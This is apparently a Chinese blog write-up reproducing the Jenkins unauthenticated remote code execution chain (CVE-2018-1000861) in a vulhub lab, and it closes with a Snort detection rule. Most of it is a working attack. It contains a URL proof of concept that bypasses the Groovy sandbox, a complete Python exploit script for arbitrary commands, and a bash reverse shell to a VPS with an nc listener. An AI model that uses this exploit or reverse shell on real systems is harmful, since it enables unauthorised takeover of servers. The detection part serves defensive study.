抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

简介

Jenkins是开源软件项目,基于Java开发的持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。

Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。

通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令

vulhub靶场复现

腾讯云服务器

1
2
docker-compose build
docker-compose up -d

访问靶场http://your-ip:8080

漏洞复现 - POC

1
2
3
4
5
6
7
http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript
?sandbox=true
&value=public class x {
public x(){
"touch /tmp/success".execute()
}
}

Url编码

1
public class x {public x(){"touch /tmp/success".execute()}}
1
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20%7Bpublic%20x()%7B%22touch%20%2Ftmp%2Fsuccess%22.execute()%7D%7D

服务器验证,成功生成success文件

漏洞复现 - EXP.py

使用方法:

1
2
Usage:
python exp.py <url> <cmd>

靶场端验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/python
# coding: UTF-8
# author: Orange Tsai(@orange_8361)
#

import sys
import requests
from enum import Enum

# remove bad SSL warnings
try:
requests.packages.urllib3.disable_warnings()
except:
pass


endpoint = 'descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript'

class mode(Enum):
ACL_PATCHED = 0
NOT_JENKINS = 1
READ_ENABLE = 2
READ_BYPASS = 3
ENTRY_NOTFOUND = 999

def usage():
print '''
Usage:
python exp.py <url> <cmd>
'''

def _log(msg, fail=False):
nb = '[*]'
if fail:
nb = '[-]'
print '%s %s' % (nb, msg)

def _get(url, params=None):
r = requests.get(url, verify=False, params=params)
return r.status_code, r.content

def _add_bypass(url):
return url + 'securityRealm/user/admin/'

def check(url):
flag, accessible = mode.ACL_PATCHED, False

# check ANONYMOUS_READ
status, content = _get(url)
if status == 200 and 'adjuncts' in content:
flag, accessible = mode.READ_ENABLE, True
_log('ANONYMOUS_READ enable!')
elif status == 403:
_log('ANONYMOUS_READ disable!')

# check ACL bypass, CVE-2018-1000861
status, content = _get(_add_bypass(url))
if status == 200 and 'adjuncts' in content:
flag, accessible = mode.READ_BYPASS, True
else:
flag = mode.NOT_JENKINS

# check entry point, CVE-2019-1003005
if accessible:
if flag is mode.READ_BYPASS:
url = _add_bypass(url)
status, content = _get(url + endpoint)

if status == 404:
flag = mode.ENTRY_NOTFOUND

return flag

def exploit(url, cmd):
payload = 'public class x{public x(){new String("%s".decodeHex()).execute()}}' % cmd.encode('hex')
params = {
'sandbox': True,
'value': payload
}

status, content = _get(url + endpoint, params)
if status == 200:
_log('Exploit success!(it should be :P)')
elif status == 405:
_log('It seems Jenkins has patched the RCE gadget :(')
else:
_log('Exploit fail with HTTP status [%d]' % status, fail=True)
if 'stack trace' in content:
for _ in content.splitlines():
if _.startswith('Caused:'):
_log(_, fail=True)

if __name__ == '__main__':
if len(sys.argv) != 3:
usage()
exit()

url = sys.argv[1].rstrip('/') + '/'
cmd = sys.argv[2]

flag = check(url)
if flag is mode.ACL_PATCHED:
_log('It seems Jenkins is up-to-date(>2.137) :(', fail=True)
elif flag is mode.NOT_JENKINS:
_log('Is this Jenkins?', fail=True)
elif flag is mode.READ_ENABLE:
exploit(url, cmd)
elif flag is mode.READ_BYPASS:
_log('Bypass with CVE-2018-1000861!')
exploit(_add_bypass(url), cmd)
else:
_log('The `checkScript` is not found, please try other entries(see refs)', fail=True)

反弹shell

vps ip和端口

1
bash -i >& /dev/tcp/x.x.x.x/7777 0>&1

base编码

url编码

poc验证

1
http://IP:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22命令替换%22.execute()}}

vps开启监听

1
nc -lvnp 7777

抓包验证

通过EXP,进行特征流量分析

1
securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript
1
descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript

规则提取

(只提供提取思路)

除了最后一个地方可以不加,其他的字段分号后面都要加空格

1
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"jenkins remote code execution(CVE-2018-1000861)"; content:"securityRealm/user/admin"; fast_pattern:only; http_uri; reference:cve,2018-1000861;reference:url,https://access.redhat.com/security/cve/CVE-2018-1000861; classtype:attempted-admin; sid:1002523;rev:1;)
1
2
3
4
# 使用-A fast参数,在alert告警中,可以查看到告警内容和sid
snort -c /etc/snort/snort.conf -r jenkins.pcap -A fast -l /var/log/snort/
# 查看告警日志
cat /var/log/snort/alert

附件

流量包以及exp

链接: https://pan.baidu.com/s/1fibahYkUQBkBiY9yc6s2hg

评论